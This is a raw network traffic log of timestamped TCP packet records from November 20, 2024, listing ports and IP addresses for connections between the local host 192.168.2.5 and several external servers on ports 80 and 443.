Nov 20, 2024 08:09:21.344122887 CET	443	49779	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:21.344132900 CET	443	49779	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:21.345174074 CET	49783	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:21.345185041 CET	443	49783	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:21.345195055 CET	49783	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:21.345200062 CET	443	49783	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:21.346607924 CET	49781	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:21.346613884 CET	443	49781	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:21.346623898 CET	49781	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:21.346627951 CET	443	49781	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:21.353622913 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:21.353792906 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:21.361836910 CET	49792	443	192.168.2.5	172.64.41.3
Nov 20, 2024 08:09:21.361877918 CET	443	49792	172.64.41.3	192.168.2.5
Nov 20, 2024 08:09:21.362499952 CET	49792	443	192.168.2.5	172.64.41.3
Nov 20, 2024 08:09:21.362915039 CET	49793	443	192.168.2.5	172.64.41.3
Nov 20, 2024 08:09:21.362960100 CET	443	49793	172.64.41.3	192.168.2.5
Nov 20, 2024 08:09:21.363112926 CET	49793	443	192.168.2.5	172.64.41.3
Nov 20, 2024 08:09:21.363246918 CET	49794	443	192.168.2.5	172.64.41.3
Nov 20, 2024 08:09:21.363262892 CET	443	49794	172.64.41.3	192.168.2.5
Nov 20, 2024 08:09:21.363337040 CET	49794	443	192.168.2.5	172.64.41.3
Nov 20, 2024 08:09:21.364027977 CET	49795	443	192.168.2.5	172.64.41.3
Nov 20, 2024 08:09:21.364042997 CET	443	49795	172.64.41.3	192.168.2.5
Nov 20, 2024 08:09:21.364095926 CET	49795	443	192.168.2.5	172.64.41.3
Nov 20, 2024 08:09:21.364586115 CET	49782	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:21.364586115 CET	49782	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:21.364603996 CET	443	49782	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:21.364615917 CET	443	49782	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:21.370759010 CET	49792	443	192.168.2.5	172.64.41.3
Nov 20, 2024 08:09:21.370793104 CET	443	49792	172.64.41.3	192.168.2.5
Nov 20, 2024 08:09:21.371510029 CET	49793	443	192.168.2.5	172.64.41.3
Nov 20, 2024 08:09:21.371550083 CET	443	49793	172.64.41.3	192.168.2.5
Nov 20, 2024 08:09:21.371819973 CET	49794	443	192.168.2.5	172.64.41.3
Nov 20, 2024 08:09:21.371834993 CET	443	49794	172.64.41.3	192.168.2.5
Nov 20, 2024 08:09:21.371944904 CET	49795	443	192.168.2.5	172.64.41.3
Nov 20, 2024 08:09:21.371958017 CET	443	49795	172.64.41.3	192.168.2.5
Nov 20, 2024 08:09:21.391583920 CET	49796	443	192.168.2.5	172.64.41.3
Nov 20, 2024 08:09:21.391618967 CET	443	49796	172.64.41.3	192.168.2.5
Nov 20, 2024 08:09:21.391685009 CET	49796	443	192.168.2.5	172.64.41.3
Nov 20, 2024 08:09:21.392592907 CET	49797	443	192.168.2.5	172.64.41.3
Nov 20, 2024 08:09:21.392632008 CET	443	49797	172.64.41.3	192.168.2.5
Nov 20, 2024 08:09:21.392787933 CET	49796	443	192.168.2.5	172.64.41.3
Nov 20, 2024 08:09:21.392802954 CET	443	49796	172.64.41.3	192.168.2.5
Nov 20, 2024 08:09:21.392817020 CET	49797	443	192.168.2.5	172.64.41.3
Nov 20, 2024 08:09:21.521775961 CET	49797	443	192.168.2.5	172.64.41.3
Nov 20, 2024 08:09:21.521821976 CET	443	49797	172.64.41.3	192.168.2.5
Nov 20, 2024 08:09:21.650168896 CET	49798	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:21.650209904 CET	443	49798	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:21.652652979 CET	49798	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:21.656152964 CET	49799	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:21.656199932 CET	443	49799	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:21.656260014 CET	49799	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:21.657200098 CET	49800	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:21.657237053 CET	443	49800	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:21.657284975 CET	49800	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:21.665878057 CET	49750	443	192.168.2.5	172.202.163.200
Nov 20, 2024 08:09:21.665906906 CET	443	49750	172.202.163.200	192.168.2.5
Nov 20, 2024 08:09:21.665919065 CET	49750	443	192.168.2.5	172.202.163.200
Nov 20, 2024 08:09:21.665925026 CET	443	49750	172.202.163.200	192.168.2.5
Nov 20, 2024 08:09:21.674335003 CET	49798	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:21.674369097 CET	443	49798	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:21.674458981 CET	49799	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:21.674493074 CET	443	49799	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:21.674612999 CET	49800	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:21.674633980 CET	443	49800	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:21.679160118 CET	49803	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:21.679186106 CET	443	49803	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:21.679673910 CET	49803	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:21.680485010 CET	49803	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:21.680504084 CET	443	49803	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:21.729130030 CET	443	49788	40.126.32.136	192.168.2.5
Nov 20, 2024 08:09:21.729213953 CET	49788	443	192.168.2.5	40.126.32.136
Nov 20, 2024 08:09:21.760468006 CET	49788	443	192.168.2.5	40.126.32.136
Nov 20, 2024 08:09:21.760503054 CET	443	49788	40.126.32.136	192.168.2.5
Nov 20, 2024 08:09:21.760746956 CET	443	49788	40.126.32.136	192.168.2.5
Nov 20, 2024 08:09:21.761286020 CET	49788	443	192.168.2.5	40.126.32.136
Nov 20, 2024 08:09:21.761338949 CET	49788	443	192.168.2.5	40.126.32.136
Nov 20, 2024 08:09:21.761362076 CET	443	49788	40.126.32.136	192.168.2.5
Nov 20, 2024 08:09:21.806931973 CET	443	49789	40.126.32.136	192.168.2.5
Nov 20, 2024 08:09:21.818991899 CET	49789	443	192.168.2.5	40.126.32.136
Nov 20, 2024 08:09:21.819017887 CET	443	49789	40.126.32.136	192.168.2.5
Nov 20, 2024 08:09:21.822035074 CET	443	49791	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:21.822052002 CET	49789	443	192.168.2.5	40.126.32.136
Nov 20, 2024 08:09:21.822061062 CET	443	49789	40.126.32.136	192.168.2.5
Nov 20, 2024 08:09:21.822104931 CET	49789	443	192.168.2.5	40.126.32.136
Nov 20, 2024 08:09:21.822115898 CET	443	49789	40.126.32.136	192.168.2.5
Nov 20, 2024 08:09:21.828149080 CET	49791	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:21.828176975 CET	443	49791	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:21.830027103 CET	49791	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:21.830044985 CET	443	49791	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:21.830054998 CET	443	49792	172.64.41.3	192.168.2.5
Nov 20, 2024 08:09:21.832906961 CET	49792	443	192.168.2.5	172.64.41.3
Nov 20, 2024 08:09:21.832918882 CET	443	49792	172.64.41.3	192.168.2.5
Nov 20, 2024 08:09:21.833384991 CET	443	49792	172.64.41.3	192.168.2.5
Nov 20, 2024 08:09:21.840790987 CET	443	49795	172.64.41.3	192.168.2.5
Nov 20, 2024 08:09:21.850364923 CET	443	49794	172.64.41.3	192.168.2.5
Nov 20, 2024 08:09:21.853713036 CET	443	49796	172.64.41.3	192.168.2.5
Nov 20, 2024 08:09:21.854021072 CET	443	49793	172.64.41.3	192.168.2.5
Nov 20, 2024 08:09:21.858829975 CET	49792	443	192.168.2.5	172.64.41.3
Nov 20, 2024 08:09:21.858999968 CET	443	49792	172.64.41.3	192.168.2.5
Nov 20, 2024 08:09:21.860532999 CET	49795	443	192.168.2.5	172.64.41.3
Nov 20, 2024 08:09:21.860560894 CET	443	49795	172.64.41.3	192.168.2.5
Nov 20, 2024 08:09:21.861498117 CET	49794	443	192.168.2.5	172.64.41.3
Nov 20, 2024 08:09:21.861505985 CET	443	49794	172.64.41.3	192.168.2.5
Nov 20, 2024 08:09:21.861671925 CET	49796	443	192.168.2.5	172.64.41.3
Nov 20, 2024 08:09:21.861697912 CET	443	49796	172.64.41.3	192.168.2.5
Nov 20, 2024 08:09:21.861702919 CET	443	49795	172.64.41.3	192.168.2.5
Nov 20, 2024 08:09:21.861753941 CET	49795	443	192.168.2.5	172.64.41.3
Nov 20, 2024 08:09:21.862587929 CET	443	49794	172.64.41.3	192.168.2.5
Nov 20, 2024 08:09:21.862639904 CET	49794	443	192.168.2.5	172.64.41.3
Nov 20, 2024 08:09:21.862749100 CET	443	49796	172.64.41.3	192.168.2.5
Nov 20, 2024 08:09:21.862802029 CET	49796	443	192.168.2.5	172.64.41.3
Nov 20, 2024 08:09:21.863954067 CET	49793	443	192.168.2.5	172.64.41.3
Nov 20, 2024 08:09:21.863966942 CET	443	49793	172.64.41.3	192.168.2.5
Nov 20, 2024 08:09:21.864365101 CET	443	49793	172.64.41.3	192.168.2.5
Nov 20, 2024 08:09:21.864974976 CET	49806	443	192.168.2.5	13.107.246.40
Nov 20, 2024 08:09:21.865005016 CET	443	49806	13.107.246.40	192.168.2.5
Nov 20, 2024 08:09:21.865139008 CET	49806	443	192.168.2.5	13.107.246.40
Nov 20, 2024 08:09:21.865720987 CET	49795	443	192.168.2.5	172.64.41.3
Nov 20, 2024 08:09:21.865827084 CET	443	49795	172.64.41.3	192.168.2.5
Nov 20, 2024 08:09:21.866072893 CET	49794	443	192.168.2.5	172.64.41.3
Nov 20, 2024 08:09:21.866143942 CET	443	49794	172.64.41.3	192.168.2.5
Nov 20, 2024 08:09:21.866620064 CET	49796	443	192.168.2.5	172.64.41.3
Nov 20, 2024 08:09:21.866686106 CET	443	49796	172.64.41.3	192.168.2.5
Nov 20, 2024 08:09:21.866882086 CET	49793	443	192.168.2.5	172.64.41.3
Nov 20, 2024 08:09:21.867117882 CET	443	49793	172.64.41.3	192.168.2.5
Nov 20, 2024 08:09:21.867335081 CET	49806	443	192.168.2.5	13.107.246.40
Nov 20, 2024 08:09:21.867348909 CET	443	49806	13.107.246.40	192.168.2.5
Nov 20, 2024 08:09:21.926142931 CET	443	49791	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:21.926219940 CET	443	49791	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:21.926314116 CET	49791	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:21.948570967 CET	49792	443	192.168.2.5	172.64.41.3
Nov 20, 2024 08:09:21.948600054 CET	49794	443	192.168.2.5	172.64.41.3
Nov 20, 2024 08:09:21.948613882 CET	443	49794	172.64.41.3	192.168.2.5
Nov 20, 2024 08:09:21.971905947 CET	49791	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:21.971905947 CET	49791	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:21.971955061 CET	443	49791	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:21.971971989 CET	443	49791	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:21.974112034 CET	49807	443	192.168.2.5	184.28.190.32
Nov 20, 2024 08:09:21.974148989 CET	443	49807	184.28.190.32	192.168.2.5
Nov 20, 2024 08:09:21.974164009 CET	49808	443	192.168.2.5	184.28.190.32
Nov 20, 2024 08:09:21.974201918 CET	443	49808	184.28.190.32	192.168.2.5
Nov 20, 2024 08:09:21.974236965 CET	49807	443	192.168.2.5	184.28.190.32
Nov 20, 2024 08:09:21.974245071 CET	49808	443	192.168.2.5	184.28.190.32
Nov 20, 2024 08:09:21.975076914 CET	49807	443	192.168.2.5	184.28.190.32
Nov 20, 2024 08:09:21.975089073 CET	443	49807	184.28.190.32	192.168.2.5
Nov 20, 2024 08:09:21.975097895 CET	49808	443	192.168.2.5	184.28.190.32
Nov 20, 2024 08:09:21.975112915 CET	443	49808	184.28.190.32	192.168.2.5
Nov 20, 2024 08:09:21.978019953 CET	443	49797	172.64.41.3	192.168.2.5
Nov 20, 2024 08:09:21.993742943 CET	49797	443	192.168.2.5	172.64.41.3
Nov 20, 2024 08:09:21.993778944 CET	443	49797	172.64.41.3	192.168.2.5
Nov 20, 2024 08:09:21.994905949 CET	443	49797	172.64.41.3	192.168.2.5
Nov 20, 2024 08:09:21.994972944 CET	49797	443	192.168.2.5	172.64.41.3
Nov 20, 2024 08:09:21.997153997 CET	49809	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:21.997199059 CET	443	49809	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:21.997266054 CET	49809	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:22.006360054 CET	49797	443	192.168.2.5	172.64.41.3
Nov 20, 2024 08:09:22.006470919 CET	443	49797	172.64.41.3	192.168.2.5
Nov 20, 2024 08:09:22.006644964 CET	49809	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:22.006675959 CET	443	49809	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:22.028821945 CET	49795	443	192.168.2.5	172.64.41.3
Nov 20, 2024 08:09:22.028836966 CET	443	49795	172.64.41.3	192.168.2.5
Nov 20, 2024 08:09:22.028837919 CET	49796	443	192.168.2.5	172.64.41.3
Nov 20, 2024 08:09:22.028847933 CET	49793	443	192.168.2.5	172.64.41.3
Nov 20, 2024 08:09:22.028853893 CET	443	49796	172.64.41.3	192.168.2.5
Nov 20, 2024 08:09:22.143632889 CET	443	49788	40.126.32.136	192.168.2.5
Nov 20, 2024 08:09:22.143764973 CET	443	49788	40.126.32.136	192.168.2.5
Nov 20, 2024 08:09:22.143826962 CET	49788	443	192.168.2.5	40.126.32.136
Nov 20, 2024 08:09:22.146105051 CET	49794	443	192.168.2.5	172.64.41.3
Nov 20, 2024 08:09:22.146295071 CET	49797	443	192.168.2.5	172.64.41.3
Nov 20, 2024 08:09:22.146330118 CET	443	49797	172.64.41.3	192.168.2.5
Nov 20, 2024 08:09:22.146791935 CET	49788	443	192.168.2.5	40.126.32.136
Nov 20, 2024 08:09:22.146811008 CET	443	49788	40.126.32.136	192.168.2.5
Nov 20, 2024 08:09:22.146825075 CET	49788	443	192.168.2.5	40.126.32.136
Nov 20, 2024 08:09:22.146831036 CET	443	49788	40.126.32.136	192.168.2.5
Nov 20, 2024 08:09:22.191028118 CET	49795	443	192.168.2.5	172.64.41.3
Nov 20, 2024 08:09:22.191243887 CET	49796	443	192.168.2.5	172.64.41.3
Nov 20, 2024 08:09:22.268069029 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:22.272902012 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:22.312660933 CET	443	49798	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:22.313297987 CET	49798	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:22.313319921 CET	443	49798	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:22.313751936 CET	49798	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:22.313760042 CET	443	49798	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:22.323252916 CET	443	49800	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:22.323867083 CET	49800	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:22.323883057 CET	443	49800	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:22.324399948 CET	49800	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:22.324409008 CET	443	49800	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:22.325582981 CET	443	49803	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:22.326055050 CET	49803	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:22.326064110 CET	443	49803	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:22.326570988 CET	49803	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:22.326575994 CET	443	49803	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:22.326700926 CET	443	49799	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:22.328231096 CET	49799	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:22.328260899 CET	443	49799	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:22.328619957 CET	49799	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:22.328627110 CET	443	49799	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:22.335383892 CET	49797	443	192.168.2.5	172.64.41.3
Nov 20, 2024 08:09:22.385063887 CET	49811	443	192.168.2.5	162.159.61.3
Nov 20, 2024 08:09:22.385118008 CET	443	49811	162.159.61.3	192.168.2.5
Nov 20, 2024 08:09:22.385178089 CET	49811	443	192.168.2.5	162.159.61.3
Nov 20, 2024 08:09:22.385368109 CET	49812	443	192.168.2.5	162.159.61.3
Nov 20, 2024 08:09:22.385412931 CET	443	49812	162.159.61.3	192.168.2.5
Nov 20, 2024 08:09:22.385458946 CET	49812	443	192.168.2.5	162.159.61.3
Nov 20, 2024 08:09:22.385596991 CET	49811	443	192.168.2.5	162.159.61.3
Nov 20, 2024 08:09:22.385608912 CET	443	49811	162.159.61.3	192.168.2.5
Nov 20, 2024 08:09:22.385845900 CET	49812	443	192.168.2.5	162.159.61.3
Nov 20, 2024 08:09:22.385858059 CET	443	49812	162.159.61.3	192.168.2.5
Nov 20, 2024 08:09:22.413598061 CET	443	49798	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:22.413671017 CET	443	49798	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:22.413961887 CET	49798	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:22.414248943 CET	49798	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:22.414268017 CET	443	49798	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:22.414278984 CET	49798	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:22.414284945 CET	443	49798	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:22.421572924 CET	49813	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:22.421611071 CET	443	49813	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:22.421741009 CET	49813	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:22.422132015 CET	49813	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:22.422148943 CET	443	49813	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:22.423446894 CET	443	49800	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:22.423521042 CET	443	49800	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:22.423568010 CET	49800	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:22.425306082 CET	443	49803	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:22.425370932 CET	443	49803	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:22.425499916 CET	49803	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:22.425867081 CET	49800	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:22.425892115 CET	443	49800	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:22.425906897 CET	49800	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:22.425914049 CET	443	49800	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:22.426177979 CET	49803	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:22.426198006 CET	443	49803	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:22.426208973 CET	49803	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:22.426213980 CET	443	49803	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:22.427979946 CET	443	49799	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:22.428044081 CET	443	49799	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:22.428096056 CET	49799	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:22.428287029 CET	49799	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:22.428307056 CET	443	49799	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:22.428319931 CET	49799	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:22.428324938 CET	443	49799	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:22.430252075 CET	443	49807	184.28.190.32	192.168.2.5
Nov 20, 2024 08:09:22.430632114 CET	49807	443	192.168.2.5	184.28.190.32
Nov 20, 2024 08:09:22.430643082 CET	443	49807	184.28.190.32	192.168.2.5
Nov 20, 2024 08:09:22.430850029 CET	49814	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:22.430891991 CET	443	49814	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:22.430948973 CET	49815	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:22.430974007 CET	49814	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:22.430974960 CET	443	49815	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:22.431024075 CET	443	49807	184.28.190.32	192.168.2.5
Nov 20, 2024 08:09:22.431051970 CET	49815	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:22.431459904 CET	49807	443	192.168.2.5	184.28.190.32
Nov 20, 2024 08:09:22.431514025 CET	49815	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:22.431535006 CET	49814	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:22.431538105 CET	443	49815	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:22.431548119 CET	443	49807	184.28.190.32	192.168.2.5
Nov 20, 2024 08:09:22.431550026 CET	443	49814	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:22.432914972 CET	49816	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:22.432955980 CET	443	49816	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:22.433041096 CET	49816	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:22.433351040 CET	49816	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:22.433368921 CET	443	49816	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:22.439788103 CET	443	49808	184.28.190.32	192.168.2.5
Nov 20, 2024 08:09:22.442584038 CET	49808	443	192.168.2.5	184.28.190.32
Nov 20, 2024 08:09:22.442611933 CET	443	49808	184.28.190.32	192.168.2.5
Nov 20, 2024 08:09:22.443047047 CET	443	49808	184.28.190.32	192.168.2.5
Nov 20, 2024 08:09:22.443497896 CET	49808	443	192.168.2.5	184.28.190.32
Nov 20, 2024 08:09:22.443569899 CET	443	49808	184.28.190.32	192.168.2.5
Nov 20, 2024 08:09:22.489622116 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:22.489696026 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:22.489706039 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:22.489717007 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:22.489736080 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:22.489734888 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:22.489747047 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:22.489758968 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:22.489769936 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:22.489778042 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:22.489778042 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:22.489782095 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:22.489793062 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:22.489830971 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:22.489865065 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:22.490077972 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:22.490499020 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:22.490510941 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:22.490556955 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:22.494688988 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:22.494760990 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:22.512993097 CET	443	49806	13.107.246.40	192.168.2.5
Nov 20, 2024 08:09:22.513326883 CET	49806	443	192.168.2.5	13.107.246.40
Nov 20, 2024 08:09:22.513364077 CET	443	49806	13.107.246.40	192.168.2.5
Nov 20, 2024 08:09:22.514436960 CET	443	49806	13.107.246.40	192.168.2.5
Nov 20, 2024 08:09:22.514516115 CET	49806	443	192.168.2.5	13.107.246.40
Nov 20, 2024 08:09:22.515645027 CET	49806	443	192.168.2.5	13.107.246.40
Nov 20, 2024 08:09:22.515742064 CET	443	49806	13.107.246.40	192.168.2.5
Nov 20, 2024 08:09:22.516139030 CET	49817	443	192.168.2.5	13.107.246.40
Nov 20, 2024 08:09:22.516185999 CET	443	49817	13.107.246.40	192.168.2.5
Nov 20, 2024 08:09:22.516243935 CET	49806	443	192.168.2.5	13.107.246.40
Nov 20, 2024 08:09:22.516254902 CET	443	49806	13.107.246.40	192.168.2.5
Nov 20, 2024 08:09:22.516288042 CET	49817	443	192.168.2.5	13.107.246.40
Nov 20, 2024 08:09:22.516472101 CET	49817	443	192.168.2.5	13.107.246.40
Nov 20, 2024 08:09:22.516485929 CET	443	49817	13.107.246.40	192.168.2.5
Nov 20, 2024 08:09:22.550610065 CET	49807	443	192.168.2.5	184.28.190.32
Nov 20, 2024 08:09:22.590775967 CET	49808	443	192.168.2.5	184.28.190.32
Nov 20, 2024 08:09:22.619103909 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:22.619129896 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:22.619139910 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:22.619194031 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:22.619250059 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:22.619483948 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:22.619497061 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:22.619533062 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:22.619544983 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:22.619568110 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:22.619581938 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:22.619582891 CET	443	49806	13.107.246.40	192.168.2.5
Nov 20, 2024 08:09:22.619609118 CET	443	49806	13.107.246.40	192.168.2.5
Nov 20, 2024 08:09:22.619616985 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:22.619676113 CET	49806	443	192.168.2.5	13.107.246.40
Nov 20, 2024 08:09:22.619713068 CET	443	49806	13.107.246.40	192.168.2.5
Nov 20, 2024 08:09:22.619724035 CET	443	49806	13.107.246.40	192.168.2.5
Nov 20, 2024 08:09:22.619765997 CET	49806	443	192.168.2.5	13.107.246.40
Nov 20, 2024 08:09:22.619771004 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:22.619822025 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:22.619832993 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:22.619858980 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:22.619879961 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:22.619910002 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:22.619920969 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:22.619960070 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:22.619977951 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:22.619981050 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:22.620023012 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:22.620769024 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:22.620795965 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:22.620806932 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:22.620836020 CET	49765	80	192.168.2.5	185.215.113.206
